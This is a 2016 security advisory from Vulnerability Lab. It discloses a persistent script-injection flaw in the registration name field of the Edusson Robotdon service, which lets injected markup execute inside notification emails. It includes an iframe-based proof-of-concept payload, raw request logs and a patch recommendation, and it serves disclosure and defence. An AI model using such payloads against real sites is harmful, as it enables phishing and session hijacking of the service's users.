Document Title: =============== Edusson (Robotdon) BB - Filter Bypass & Persistent Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1870 Release Date: ============= 2016-11-03 Vulnerability Laboratory ID (VL-ID): ==================================== 1870 Common Vulnerability Scoring System: ==================================== 4.3 Product & Service Introduction: =============================== Meet Robot Don - a free essay checker software that brings so much fun into your essay editing / proofreading. We have created Robot Don, machine learning tool that facilitates essay writing, free for all students. We continuously receive bug reports and suggestions from different areas. To honor the bright external contributions that help us build a better product we have launched a Bug & Ideas Hunting (BIH) Contest for Robot Don. Any of service or feature provided by Robot Don software is intended to be in scope of this scholarship/ contest. This includes all content and algos available through robotdon.com (Copy of the Vendor Homepage: http://edusson.com/robot-don ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered an application-side vulnerability and a filter bypass issue in the official Edusson Robotdon web-application. Vulnerability Disclosure Timeline: ================================== 2016-06-10: Researcher Notification & Coordination (Benjamin Kunz Mejri) 2016-06-11: Vendor Notification (Edusson Security Team) 2016-06-20: Vendor Response/Feedback (Edusson Security Team) 2016-**-**: Vendor Fix/Patch (Edusson Robotdon Developer Team) 2016-11-03: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Edusson Product: Robotdon - Online Service (Web-Application) 2016 Q2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side input and mail encode web vulnerability has been discovered in the official Edusson Robotdon (tools) web-application. The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the vulnerable module or function. The vulnerability is located in the reg_name parameter of the ./register module POST method request. Remote attackers are able to inject own malicious script codes to the email body context of the inf@xxxxxxxxxxxx reply notification. The injection point of the vulnerability is the registration formular with the wrong encoded name input field. The execution point occurs in the email that is send by the service after the registration has been solved. The attacker vector of the vulnerability is persistent on the application-side and the request method to inject the payload is POST. The vulnerability allows an attacker to inject malicious codes to the email context to spoof, phish or manipulate with the original email replier. The context of the payload is saved to the database management system and can execute with persistent vector in other notifications as well. The security risk of the application-side vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.3. Exploitation of the persistent mail encode web vulnerability requires no privileged user account and only low user interaction (click/include). Successful exploitation of the vulnerability results in persistent phishing mails, session hijacking, persistent external redirect to malicious sources and application-side manipulation of affected or connected module context. Request Method(s): [+] POST Vulnerable Module(s) [+] ./register (robotdon) Vulnerable Input(s): [+] Name Vulnerable Parameter(s) [+] reg_name Affected Module(s) [+] Mail Message Body Proof of Concept (PoC): ======================= The persistent input and mail encode web vulnerability can be exploited by remote attackers without user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Vulnerable Input(s): (Inject) http://tools.robotdon.com/registered http://tools.robotdon.com/register PoC: Payload(s) "" >"<iframe src=x onload=alert("APPROVED") <%20 --- PoC Session Logs [POST] (Inject) --- Status: 200[OK] POST http://tools.robotdon.com/registration Load Flags[LOAD_BACKGROUND LOAD_BYPASS_LOCAL_CACHE ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[tools.robotdon.com] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0] Accept[text/plain, */*; q=0.01] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] DNT[1] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[http://tools.robotdon.com/register] Content-Length[1130] Connection[keep-alive] POST-Daten: user_reg_name[%22%3E%3Ciframe%3E%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Cimg%3E] user_reg_email[bkm%40evolution-sec.com] user_reg_password[666] captcha_key[03AHJ_VuvK4c4JYL-1DcDjoAz6PwXopJtuZhfdRGFNGbwBoqOVPsr3zZSLtbU38GQYIetSDZAjMId-2dIlQCfdeh80ugOasu3xUd8JXhxdX8PsjjyjDkvMy9qRaFfyUQxm3-VaueR4iH-dL1n1AwHq_PW20f084i2BET9kzPrvQlCIueNXqqaNVv1uW30qaAEivainuEdGW_sj19CR1UhzJVbNh0aTBdC_YO4JGZJwBHtGSc2ckfevfna6tz_VLPK_5eCRoNA5QZTbDBPWprc63mPXtMnzHbVXmNBodpEFmXEdtvH72ZYgMSlTlyECZ8v-4wqNdqGmY5exOW4nVYEadK_W7GTkiCZDyOmNvSKHcJKBW805DFTSrvGHA4FIN2VLKZGyla8bR46VNiJky2OfzaCvH-F7ESsWkSzzbgJgdAlnVJgX1NP0kSSO39AxjV_2Cx1zUzRQouqeuxiuW-cPyDu6HiDvGo2reSw0km-txyJXwxIt2c6_d3RXZPKOiCypyqygkmV_Mga7m-c7dAhYQVLkN3lW36_-uAEYlCNKmHcrG0zWTA0Ou-yRR-iFT0wIlpBg-CVUqqLXRm-h-ro8moPr_rttTFPTqJ1i-vPcfURM_DVTedPOjMUsaJkPDG2xOzh-fVETHF37zLUTDVIXSkyk-WdcJV1xOvL1CvAej67YjRMSlEUUKvbxziOd5gKc6grkgD4XwWkMwvqafX_BQ9h6qA8FCHE6YsVR6A-X9EFI7SbFBH-7i_zA3BjuQ0_pF1hrC8cuWFWGySTeaTRzD7XiOa1pNsTHFp5pP45Q8nZoGdMm8lifAjwMh-hBD5lDjIDqwwDc7wrZrCC_jMNZk4bT3JT-VeBREqrbh2c5Qx-UXLDjGmQTp5XKricC4r_GOLWg5zcpdYQgaLpEc_ZI-4UG7ysEVQt0c-V_bgHfKHZaUIlkMzoFWcnGJp972e91iJwAAv9e97q1] Response Header: Server[nginx/1.6.2] Date[Fri, 10 Jun 2016 16:46:05 GMT] Content-Type[text/html; charset=UTF-8] Transfer-Encoding[chunked] Connection[keep-alive] Content-Encoding[gzip] Status: 200[OK] GET http://tools.robotdon.com/registered Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[tools.robotdon.com] User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] DNT[1] Referer[http://tools.robotdon.com/register] Connection[keep-alive] Response Header: Server[nginx/1.6.2] Content-Type[text/html; charset=UTF-8] Transfer-Encoding[chunked] Connection[keep-alive] Cache-Control[no-cache] Date[Fri, 10 Jun 2016 16:46:05 GMT] Content-Encoding[gzip] Solution - Fix & Patch: ======================= The application-side security web vulnerability can be patched by a secure restriction and encode of the input fields. Disallow the usage of special chars and encode the parameter of the reg_name in the register POST method request. Ensure that the outgoing mail body encodes or parses the name parameters next to sending the context to anothers email. Security Risk: ============== The security risk of the application-side input validation web vulnerability in the edusson robotdon web-application is estimated as medium. (CVSS 4.3) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@xxxxxxxxxxxxxxxxxxxxx) [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.] [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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